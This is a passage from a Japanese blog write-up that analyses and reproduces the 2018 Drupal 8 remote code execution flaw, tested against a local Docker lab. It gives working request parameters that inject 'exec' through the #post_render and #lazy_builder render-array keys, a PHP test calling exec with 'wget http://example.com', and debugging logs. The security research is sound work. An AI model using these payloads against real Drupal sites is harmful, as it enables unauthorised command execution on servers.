この __toString() のおかげで、call_user_funcに渡しても暗黙的にstringとして扱われて実行されます(多分)。 少なくとも __toString() を実装したクラスであればexecの引数として渡しても実行されました(__toString()がないと実行されなかった)。

ということで、無事にexecに任意の文字列を渡すことが出来たため、任意コード実行可能になりました。 まとめると、

user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax といった感じでGETのクエリストリングを指定して自分の注入するarrayをレンダリングさせつつ、{'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'} のように #post_render に実際に実行して欲しいコード(関数)を入れる感じです。#markup にそのコマンドの引数を入れておきます。

おまけ:PHPバージョンでの差異

実は上記のexploitはPHP 7.2などでは動作しますが、PHP 7.0系では動作しません。 というのは、call_user_funcの挙動が異なるためです。 上に載せたDrupalのコードでは、第三引数に$elementsという余計なものが渡されています。

$elements['#children'] = call_user_func($callable, $elements['#children'], $elements);

これがあると、PHP 7.0系ではうまく実行されません。 以下のようなサンプルのファイルを適当にtest.phpとかで保存します。 このファイルではcall_user_funcの最後に $a という余計なarrayを渡しています。

<?php

$a = array("a"=>"b");

call_user_func("exec", "wget http://example.com", $a);

これをPHP 7.0系で実行すると、Warningが出るだけで実行されません。 しかし、PHP 7.2系ではwgetが実行されます。

$ php test.php
Warning: Parameter 2 to exec() expected to be a reference, value given in /tmp/test.php on line 5

そのような違いから、DrupalのバージョンだけでなくPHPのバージョンによる差も生まれています。

lazy_builder編

ブログではlazy_builderを使っていましたので、そちらでの攻撃も試してみたいと思います。

まず、先程と同様、lazy_builderがcall_user_funcに渡される場所を探します。 すると、以下でcall_user_func_arrayに渡されていることがわかります。

    if (isset($elements['#lazy_builder'])) {
      $callable = $elements['#lazy_builder'][0];
      $args = $elements['#lazy_builder'][1];
      if (is_string($callable) && strpos($callable, '::') === FALSE) {
        $callable = $this->controllerResolver->getControllerFromDefinition($callable);
      }
      $new_elements = call_user_func_array($callable, $args);

drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

call_user_func_arrayは名前から分かる通り、call_user_funcの引数がarray版ですね。 コードを読むとわかりますが、0番目をcallableにして、1番目をargsにしています。 先程のpost_renderより簡単そうですね。

ということで、exploitを書き換えて試してみましょう。

'mail[#lazy_builder][0]': 'exec', 'mail[#lazy_builder][1]': 'whoami'

上のように#lazy_builder に指定します。

[Fri Apr 13 17:21:53.742017 2018] [php7:notice] [pid 391] [client 172.17.0.1:38562] Uncaught PHP Exception DomainException: "A #lazy_builder callback's context may only contain scalar values or NULL." at /var/www/html/core/lib/Drupal/Core/Render/Renderer.php line 315

するとエラーで怒られます。確かにargsはarrayじゃないとダメでした。ということで修正します。

'mail[#lazy_builder][0]': 'exec', 'mail[#lazy_builder][1][]': 'whoami'

argsの方がarrayになるように修正しました。すると今度は違うエラーが出ます。

[Fri Apr 13 17:23:00.624109 2018] [php7:notice] [pid 392] [client 172.17.0.1:38564] Uncaught PHP Exception DomainException: "When a #lazy_builder callback is specified, no properties can exist; all properties must be generated by the #lazy_builder callback. You specified the following properties: #suffix, #prefix." at /var/www/html/core/lib/Drupal/Core/Render/Renderer.php line 333

許可されていないkey名が存在するぞと言われています。該当箇所を見ると以下のようになっています。

      $supported_keys = [
        '#lazy_builder',
        '#cache',
        '#create_placeholder',
        // The keys below are not actually supported, but these are added
        // automatically by the Renderer. Adding them as though they are
        // supported allows us to avoid throwing an exception 100% of the time.
        '#weight',
        '#printed'
      ];
      $unsupported_keys = array_diff(array_keys($elements), $supported_keys);
      if (count($unsupported_keys)) {
        throw new \DomainException(sprintf('When a #lazy_builder callback is specified, no properties can exist; all properties must be generated by the #lazy_builder callback. You specified the following properties: %s.', implode(', ', $unsupported_keys)));
      }
    }

drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

確かに#prefix#suffix は許可されていません。 しかし、いつ勝手に付与されたのか不明なので調べてみると上で貼った uploadAjaxCallback の中にありました。 しかもrenderRootの前に呼ばれており、この#prefixがkeyとしてセットされないようにするのは難しそうです。

$form['#prefix'] .= $renderer->renderRoot($status_messages);
$output = $renderer->renderRoot($form);

$elementsをdumpしてみると、たしかに#prefixや#suffixが入っています。

array (
  '#lazy_builder' =>
  array (
    0 => 'exec',
    1 =>
    array (
      0 => 'whoami',
    ),
  ),
  '#suffix' => '<span class="ajax-new-content"></span>',
  '#prefix' => '',
  '#cache' =>
  array (
    'contexts' =>
    array (
      0 => 'languages:language_interface',
      1 => 'theme',
      2 => 'user.permissions',
    ),
  ),
)

自分はここで詰んだのですが、ネット上をパトロールしていたところどうやらrender関数は再帰的にchildrenも呼んでくれるようです。 以下のコードを見ると、確かに$childrenに対してforeachを回してdoRenderしています。

    if ((!$theme_is_implemented || isset($elements['#render_children'])) && empty($elements['#children'])) {
      foreach ($children as $key) {
        $elements['#children'] .= $this->doRender($elements[$key]);
      }
      $elements['#children'] = Markup::create($elements['#children']);
    }

drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

$childrenは以下で取得しています。

    // Get the children of the element, sorted by weight.
    $children = Element::children($elements, TRUE);

drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

なので、#lazy_builderはさらにchildrenに入るようなリクエストにしてあげると良さそうです。 つまり以下のようになります。

'mail["a"][#lazy_builder][0]': 'exec', 'mail["a"][#lazy_builder][1][]': 'echo vuln > hello.txt'

そうすると以下のような綺麗な状態で$elementsに渡ってくるため、無事に #lazy_builder で発動します。

array (
  '#lazy_builder' =>
  array (
    0 => 'exec',
    1 =>
    array (
      0 => 'echo hello > hello.txt',
    ),
  ),
)

ということで無事に成功しました。 こちらはPoCが見つからなかったので自分で作成したものを置いておきました。

github.com

さらに、こちらだとcall_user_funcの挙動の差異の影響を受けないため、PHP 7.0系でも刺さります。

検証

自分のやった検証の方法も一応載せておきます。

$ docker run -d --name drupal -p 8080:80 drupal:8.5.0-apache

この状態で、http://localhost:8080 にアクセスしてDrupalの初期セットアップを行います。 それが済んだら先程の自分のexploitを実行するだけです。

$ python3 exploit.py

まとめ

Drupalの任意コード実行の脆弱性が公開されて自分でもPoCを書こうと頑張ったのですが無理でした。 PoCが公開されたと聞いて悔しい気持ちを抱えつつ内容を見たのですが、これはDrupalを深く知らない自分では気づくの無理だな...と思いました。 かなりいろんな制約をかいくぐって任意コード実行まで漕ぎ着けており、不覚にも美しさを感じました。

危険度がよりいっそう高まったので、Drupal利用者は早急にアップデートしましょう。